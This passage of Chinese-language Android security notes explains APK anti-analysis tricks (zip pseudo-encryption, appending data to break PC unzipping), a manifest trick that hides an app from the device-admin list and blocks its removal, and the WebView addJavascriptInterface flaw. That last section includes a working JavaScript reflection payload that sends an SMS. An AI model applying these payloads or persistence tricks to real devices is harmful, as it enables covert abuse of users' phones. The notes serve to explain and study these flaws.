成因：修改zip的头,把文件的加密标志设置为ture,还原就把加密标志设置为false.利用了Android处理zip文件不判断头里的加密信息,其他压缩软件,java默认实现的zip api都有检测zip头中的加密信息
伪加密2：apk压缩文件被破坏
成因：APK在PC上面可以看作一个压缩文件，在Android系统里面它就是一个手机系统软件文件。Android系统对APK的识别是从标志头到标志尾，其他多余数据都会无视。所以说在标志尾添加其他数据对把APK看做压缩文件的PC端来说这个文件被破坏了，所以你要对其进行解压或者查看都会提示文件已损坏，用反编译工具也会提示文件已损坏，但是它却不会影响在Android系统里面的正常运行和安装而且也能兼容到所有系统。使用压缩文件修复工具也能把它修复好让我们做的保护消失。
设备管理器不可删除：某app申请到了设备管理器权限后，在设备管理列表隐身，并且不可被卸载，如obad
成因：
<receiver android:name="LockListener"
android:permission="android.permission.BIND_DEVICE_ADMIN">
<meta-data android:name="android.app.device_admin"
android:resource="@xml/lock_screen" />
<intent-filter>
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
</intent-filter>
</receiver>
如果去掉上面的<action android:name="android.app.action.DEVICE_ADMIN_ENABLED" /> ，android还是允许app注册成为设备管理器，但是此app会在设备管理列表隐身，且不可被取消设备管理器权限。
webview漏洞： Android系统通过WebView.addJavascriptInterface方法注册可供javascript调用的java对象，以用于增强javascript的功能。但是系统并没有对注册JAVA类的方法调用的限制。导致攻击者可以利用反射机制调用未注册的其它任何JAVA类，最终导致javascript能力的无限增强。
举例：
我们利用该漏洞调用SmsManager发送短信（被攻击APK要有短信发送权限）
WebView webview = new WebView(context);
WebSettings webset= webview.getSettings();
webset.setJavaScriptEnabled(true);
webview.addJavascriptInterface(new JSInvoke(), "jsinvoke");
利用该漏洞的外部javascript脚本：
<script>
var obj_smsManager = jsinvoke.getClass().forName("android.telephony.SmsManager").getMethod("getDefault",null).invoke(null,null);
obj_smsManager.sendTextMessage("159********",null,"test",null,null);
</script>
出于安全考虑，为了防止Java层的函数被随便调用，Google在4.2版本之后，规定允许被调用的函数必须以@JavascriptInterface进行注解，所以如果某应用依赖的API Level为17或者以上，就不会受该问题的影响（注：Android 4.2中API Level小于17的应用也会受影响）。